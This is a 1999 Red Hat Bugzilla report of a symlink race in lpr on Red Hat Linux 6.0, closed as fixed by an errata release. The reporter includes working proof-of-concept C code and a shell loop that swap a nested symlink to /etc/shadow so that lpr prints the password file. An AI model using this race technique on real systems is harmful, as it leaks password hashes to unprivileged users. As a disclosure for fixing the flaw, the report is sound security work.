Bug 5903 - race condition allows a user to read any file
Summary: race condition allows a user to read any file
Keywords:
Status: CLOSED ERRATA
Alias: None
Product: Red Hat Linux
Classification: Retired
Component: lpr
Version: 6.0
Hardware: i386
OS: Linux
medium
medium
Target Milestone: ---
Assignee: Bill Nottingham
QA Contact:
URL:
Whiteboard:
Depends On:
Blocks:
TreeView+ depends on / blocked
 
Reported: 1999-10-13 03:43 UTC by tymm
Modified: 2014-03-17 02:10 UTC (History)
1 user (show)

Fixed In Version:
Doc Type: Bug Fix
Doc Text:
Clone Of:
Environment:
Last Closed: 1999-10-18 03:20:42 UTC

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Description tymm 1999-10-13 03:43:50 UTC 
time between the check between whether a file is accessable
or not and copying of the data in lpr allows a user to
use a symlink race exploit to print any file desired.

Tested by creating a deeply nested directory (I used 256
levels) and having a program change a link there between
/etc/shadow and a readable file, and then doing a while(1)
loop running lpr; after about 3-4 minutes on a P90,
/etc/shadow appeared in the print spool.

crud-level test code:
int main()

	char *file =
"/tmp/0/1/2/3/4/5/6/7/8/9/10/11/12/13/14/15/16/17/18/19/20/21/22/23/24/25/26/27/28/29/30/31/32/33/34/35/36/37/38/39/40/41/42/43/44/45/46/47/48/49/50/51/52/53/54/55/56/57/58/59/60/61/62/63/64/65/66/67/68/69/70/71/72/73/74/75/76/77/78/79/80/81/82/83/84/85/86/87/88/89/90/91/92/93/94/95/96/97/98/99/100/101/102/103/104/105/106/107/108/109/110/111/112/113/114/115/116/117/118/119/120/121/122/123/124/125/126/127/128/129/130/131/132/133/134/135/136/137/138/139/140/141/142/143/144/145/146/147/148/149/150/151/152/153/154/155/156/157/158/159/160/161/162/163/164/165/166/167/168/169/170/171/172/173/174/175/176/177/178/179/180/181/182/183/184/185/186/187/188/189/190/191/192/193/194/195/196/197/198/199/200/201/202/203/204/205/206/207/208/209/210/211/212/213/214/215/216/217/218/219/220/221/222/223/224/225/226/227/228/229/230/231/232/233/234/235/236/237/238/239/240/241/242/243/244/245/246/247/248/249/250/251/252/253/254/255/x";

	while (1) {
		symlink("/tmp/test", file);
		unlink(file);
		symlink("/etc/shadow", file);
		unlink(file);
	}

}

where /tmp/test is a user-readable file... used
while true; do lpr /tmp/0.../255/x; done
loop for the other half.


suggested fix:  use setfsuid() or seteuid() around points
where files are opened for reading.
Comment 1 Bill Nottingham 1999-10-18 03:20:59 UTC 
Fixed in the lpr errata release.
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